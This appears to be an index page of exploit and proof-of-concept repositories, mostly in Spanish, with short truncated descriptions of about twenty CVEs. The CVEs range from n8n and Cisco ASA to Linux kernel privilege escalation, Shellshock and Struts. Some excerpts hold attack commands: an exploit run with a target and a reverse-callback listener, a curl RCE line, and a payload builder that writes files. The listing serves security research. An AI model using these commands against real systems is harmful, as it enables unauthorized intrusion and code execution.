CVE-2026-21858

CVE-2026-21858 Plataforma de Automatización de Flujos de Trabajo n8n - Ejecución Remota de Código Una herramienta de investigación de seguridad para detectar CVE-2026-21858, una vulnerabilidad crítica de ejecución remota de código en la plataforma de automatización de flujos de trabajo n8n. Tabla...

reproducer-poc-CVE-2022-0847

Detector y reproductor ingenuo de CVE-2022-0847 dirty pipe. Utiliza un generador simple de secuencias de syscalls / programas a partir de un conjunto deliberadamente limitado de bloques de construcción / valores de entrada solo generación, sin fuzzing avanzado; sin mutación; sin guía de cobertura...

CVE-2025-52413

CVE-2025-52413 — Particle Device OS BLE Buffer Overflow Discoverer : Golden Ticket Labs Vendor : Particle Date Assigned : August 12th 2025 MITRE Description A buffer overflow in the blecontrolrequestchannel.cpp component of Particle Device OS v5.6.0 enables arbitrary function pointer overwrite du...

CVE-2020-3580

CVE-2020-3580 Cisco ASA / FTD reflected XSS in the WebVPN SAML SP ACS endpoint /+CSCOE+/saml/sp/acs. Patched in cisco-sa-asaftd-xss-multiple-FCB3vPZe. This repo contains: xss.html — a human-verifiable PoC for authorized targets. src/ — a discovery + scope-aware validation pipeline. docs/ —...

CVE-2026-43284

Dirty Frag - kernel Linux critical Vulnerability- CVE-2026-43284 📚 Introduction The exploit chain, classified as a Local Privilege Escalation LPE , allows an unprivileged user to obtain root access on virtually all modern Linux distributions running kernels released since 2017, spanning...

shai-hulud-scan

shai-hulud-scan A Claude Code skill that scans machines for indicators of compromise IOCs from the Mini Shai-Hulud supply chain worm CVE-2026-45321, CVSS 9.6. What is Mini Shai-Hulud? A self-propagating supply chain worm that compromised 170+ npm/PyPI packages on May 11, 2026 - including...

CVE-2023-31852

CVE-2023-31852 Reflected cross-site scripting XSS attack exists in web-based management interface of Cudy LT400. The page /cgi-bin/luci/admin/network/wireless/config has reflected XSS via the iface parameter. The methods of exploitation would involve sending a specially crafted request to the...

CVE-2026-53365

CVE-2026-53365 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso Sencillo Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de pruebas de...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect anterior a la versión 4.4.1 es vulnerable a la ejecución remota de código no autenticada. Tenga en cuenta que esta vulnerabilidad es causada por el parche incompleto de CVE-2023-37679. PRIMERO: NO SOY RESPONSABLE DE LO QUE HAGAS CON ELLO. SEGUNDO:...

CVE-2021-41773

CVE-2021-41773 POC & Lab For CVE-2021-41773 Setup Lab root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

jenkinsci__perfecto-plugin_CVE-2020-2261_1-17

Perfecto Jenkins Plugin Perfecto Jenkins Plugin provides the ability to auto-create/ re-use existing Perfecto Connect tunnel-id in build environment. Table of Contents Perfecto Jenkins Plugin Table of Contents Prerequisites 1. Steps to Enable the plugin Screenshots Mac Windows Advanced Options 2...

vulnerability_struts-2.3.31

vulnerabilidadstruts-2.3.31 Construye el entorno de struts-2.3.31 CVE-2017-5638. Es posible realizar solicitudes https. entorno Ubuntu 20.04 Docker 20.10.12 curl 7.68.0 Inicio del servidor Usaremos la imagen docker tomcat:7.0-jre8. Descomprime struts-2.3.31.zip en un directorio de tu elección. cd...

CVE-2022-2588

CVE-2022-2588 La corrección El error está corregido en Linux v5.19 mediante este commit. El error El error se introdujo en Linux v3.17 mediante este commit en 2014. Requiere User Namespaces para activarse. Este error es muy similar a CVE-2021-3715, causado por una operación incorrecta en la lista...

CVE-2017-6516-mcsiwrapper-

CVE-2017-6516 CVE-2017-6516 es una vulnerabilidad de escalada de privilegios que apunta al binario .mcsiwrapper de MagniCorp SysInfo en versiones anteriores a la 10-H64. Cuando este binario tiene el bit SUID activado y está desactualizado, un usuario puede ejecutar código arbitrario como el...

Shellshock

Shellshock Exploit CVE-2014-6271 Exploit Description This repository contains an exploit for a vulnerability that affects unix-based systems. Please note that this is merely a proof-of-concept script created for educational purposes and should be used responsibly. This exploit is designed to...

file-away-exploit

File-Away Exploit CVE-2025-2539 & CVE-2025-2512 📌 Purpose This repository contains vulnerabilities details and scripts found on File-Away, which is a WordPress plugin used to file management. This plugin contains two vulnerabilities that can lead to remote code execution Tested on File-Away...

fortinet-fortiweb-cve-2025-64446-58034

Comprendiendo las vulnerabilidades de Fortinet FortiWeb CVE-2025-64446, CVE-2025-58034 1. Resumen Fortinet FortiWeb es un dispositivo Web Application Firewall WAF ampliamente implementado en los sistemas empresariales para proteger las aplicaciones web frente a amenazas comunes. Dado que FortiWeb...

CVE-2026-4480

ejecutar exploit: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload:...

CVE-2021-46703

CVE-2021-46703 Constructor simple de payload basado en el POC en: https://github.com/Antaris/RazorEngine/issues/585 Uso C root@kitploit: dotnet build --configuration Release .\bin\Release\net4.8\Poc.exe "System.IO.File.WriteAllText"rce.txt", "Hello World";" Python root@kitploit: ./poc.py...

EP4-redes

POC CVE-2018-15473 exploit Adaptado de https://github.com/Rhynorater/CVE-2018-15473-Exploit Para ejecutar este exploit es necesario tener instalado: docker docker compose servidor ssh Vamos empezar descargando de DockerHub una imagen que tiene una versión antigua 6.6 de SSH en un Ubuntu antiguo:...